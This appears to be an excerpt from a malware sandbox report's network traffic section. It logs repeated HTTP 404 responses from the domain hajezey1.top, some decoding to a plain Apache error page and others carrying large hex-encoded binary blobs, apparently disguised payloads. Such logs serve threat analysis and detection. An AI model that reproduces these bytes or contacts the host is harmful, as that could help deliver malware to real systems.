Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b 16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 a1 a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 54 ea d6 d7 0c 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5c 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f ab e1 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c e1 0c 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 00 9d 82 ef d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 f6 f4 81 de bb 34 6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 b1 a4 57 25 57 b9 d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40 24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7 6b 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 7f e2 46 aa 8f 8c f5 cf 9b 2b 25 9b f6 ba c9 1b b0 1c 67 74 d2 ff 95 87 cd 2b 80 78 51 a1 a2 8f 2c df d2 1c e0 32 02 50 08 08 d8 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 41 8f 20 59 55 11 5c 7c 3b 66 ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 bd 28 c6 8a 44 d8 06 0e 45 c7 1e 7d 6f fb e0 04 89 f9 d4 57 80 90 70 89 ec e4 4a 6b b6 f2 a2 22 48 52 df 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 23 36 55 96 da 19 d1 3a 2d b2 4e 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 71 87 4a 04 38 6d 72 14 2c d0 e8 b1 14 65 7c 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 a2 4c 64 cd 25 5c 8d b7 bf 2e 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 c5 d0 b8 be 34 56 9b 46 76 99 86 11 00 83 32 42 52 f7 c2 ae 64 0f 95 36 e1 48 52 67 25 50 b8 81 f6 bc 81 de bb 6e 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 bc a6 62 4a 08 5d f6 b3 06 2d 1a c0 5e f3 7c bb a7 fd d4 98 21 17 da 9a 2d 35 23 7d f5 b2 68 60 b8 10 31 fa ed ad 67 e1 e1 bd 84 f3 8c 40 b6 f0 90 4f a1 21 71 ae 61 2e 7a b1 76 af ce c6 83 41 66 30 ae a9 c8 d0 7e 33 3a 64 67 0b bf 77 6a 66 21 0e 8a ef 28 1d 41 81 d4 b6 78 8e 18 d3 e4 9e 0c 7b d6 6c 02 2f 27 76 d7 9b 4e 20 ba f5 be 08 85 fd 89 aa 41 b7 28 8f f4 d5 06 78 5c 9b b8 08 c0 e5 5c c5 17 00 f3 b8 d0 a3 39 a9 b2 13 20 1d 06 1a 1b e1 ea f0 6c 8d e9 c7 d2 83 6f d5 c5 3b ec cf 8b 40 75 02 99 e0 03 f4 c3 05 cb 99 d3 23 2a 71 c7 a5 d9 62 77 ca 08 8f bd c8 11 61 a1 99 9e 5f e3 0f 4e 8a d0 23 9d 43 8e 7e 14 0e b9 2c 58 99 f7 6d 08 d8 fd f7 cb ab 42 66 fb 05 6d 77 5e 8e b7 4a 84 99 fb 42 17 7d bd 91 94 13 85 f3 bd b3 3b 1c 67 c7 22 e7 19 8e 53 c0 b2 21 ab 63 95 22 89 ac 1f 13 34 5e 12 59 b3 52 34 eb e0 0f 25 b8 a3 c1 1d d7 cb ab 14 62 f3 3b 1f 70 da be 91 b3 bf de 2c eb 57 66 80 fe 9d 11 b0 5e fe 14 f9 20 e4 89 93 64 4b 70 94 ea 13 6b e6 e8 80 0b 3d f2 9d 65 09 de fb 18 e1 98 ea 30 e3 dc dd 6a db 82 96 dd
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da
